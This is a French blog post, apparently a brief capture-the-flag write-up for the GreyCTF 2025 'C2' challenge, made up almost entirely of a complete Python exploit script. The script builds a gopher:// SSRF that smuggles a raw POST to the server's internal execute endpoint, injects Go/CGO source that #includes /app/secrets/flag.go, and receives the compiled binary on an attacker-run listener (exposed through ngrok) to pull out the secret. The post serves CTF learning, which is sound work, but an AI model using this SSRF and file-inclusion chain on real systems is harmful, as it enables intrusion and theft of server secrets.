Un plongeon en plein c2 écrit en Go
Publié le 03/06/2025, 13:15:00
Article minimal par manque de temps, mais la solution mérite d’être retenue. Ce challenge a été résolu après la compétition grâce au writeup de @Jro, l’auteur du challenge.
c2C.py:
#!/usr/bin/env python3
"""
GreyCTF 2025 – C2
Exfiltration du flag en utilisant l’astuce “CGO #define + #include”.
Résumé de l’idée
---------------
* On peut forcer le serveur C2 (qui tourne en tant qu’*admin* sur 127.0.0.1)
à compiler **notre** code source Go via une SSRF en POST /agent/{id}/execute.
* En CGO, un bloc `/* … */ import "C"` est interprété comme du code C.
* Avec quelques `#define`, on transforme /app/secrets/flag.go lui-même
en code C valide, puis on affiche le symbole `Flag`.
Résultat : le binaire compilé contient déjà la chaîne du flag, donc on
le lance simplement en local après que le serveur l’a envoyé via PUT /exec.
"""
import argparse, http.server, os, subprocess, threading, time, urllib.parse, requests
##############################################################################
# Écouteur HTTP – enregistre le binaire envoyé par le challenge (PUT /exec)
##############################################################################
class BinReceiver(http.server.BaseHTTPRequestHandler):
done = threading.Event()
def do_PUT(self):
ln = int(self.headers.get("Content-Length", 0))
with open("exec", "wb") as f:
f.write(self.rfile.read(ln))
os.chmod("exec", 0o755)
print("[+] PUT /exec reçu – binaire sauvegardé ✔")
self.send_response(204); self.end_headers()
BinReceiver.done.set()
def log_message(self, *_): pass
def start_listener(port: int):
httpd = http.server.HTTPServer(("0.0.0.0", port), BinReceiver)
threading.Thread(target=httpd.serve_forever, daemon=True).start()
print(f"[+] Écouteur en ligne sur 0.0.0.0:{port}")
return httpd
##############################################################################
def register(c2: str, payload: dict) -> str:
"""POST /register – retourne l’UUID de l’agent (ou lève une exception)."""
r = requests.post(f"{c2.rstrip('/')}/register", json=payload, timeout=15)
r.raise_for_status()
return r.text.strip()
##############################################################################
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--c2", required=True, help="URL de base du challenge")
ap.add_argument("--attacker", required=True, help="hôte public (sans schéma)")
ap.add_argument("--port", type=int, default=80)
args = ap.parse_args()
public_host = args.attacker.lstrip("http://").lstrip("https://")
start_listener(args.port)
# 1. Enregistrement d’un faux agent – on récupère un UUID
uuid = register(args.c2, {"agentUrl": f"http://{public_host}:{args.port}",
"computerName": "star-lord"})
print(f"[+] UUID de l’agent : {uuid}")
# 2. Génération du payload Go + CGO qui affiche le flag
go_src = r'''package main
/*
#define package
#define secrets
#define var char*
#include "/app/secrets/flag.go"
#include <stdio.h>
void printflag(){ puts(Flag); }
*/
import "C"
func main(){ C.printflag() }
'''
body = go_src.encode()
# Requête HTTP brute que l’URL gopher:// va rejouer vers 127.0.0.1:8080
raw = (f"POST /agent/{uuid}/execute HTTP/1.1\r\n"
f"Host: 127.0.0.1:8080\r\n"
f"Content-Type: text/plain\r\n"
f"Content-Length: {len(body)}\r\n\r\n").encode() + body
gopher = "gopher://localhost:8080/_" + urllib.parse.quote_from_bytes(raw, safe="")
print("[*] Payload SSRF généré (longueur gopher :", len(gopher), ")")
# 3. Déclenchement de la SSRF – 400 Bad Request est OK (curl échoue exprès)
try:
register(args.c2, {"agentUrl": gopher, "computerName": "star-lord"})
except requests.exceptions.HTTPError:
print("[*] SSRF envoyée (échec attendu côté curl serveur)")
# 4. Attente (max 60 s) de réception du binaire
if not BinReceiver.done.wait(60):
print("[!] Abandon – aucun binaire reçu du serveur")
return
# 5. Lecture directe du flag depuis le binaire
print("[*] Scan de ./exec pour extraire le flag …")
with open("exec", "rb") as f:
blob = f.read()
import re
m = re.search(rb"grey\{[^}]+\}", blob)
if not m:
print("[!] Pattern du flag introuvable")
return
flag = m.group().decode()
print("\n🎉 FLAG :", flag, "\n")
if __name__ == "__main__":
main()
J'ai utilisé ngrok pour faire office d’intermédiaire pour le C2 (serveur contrôlé par l’attaquant).
Cookies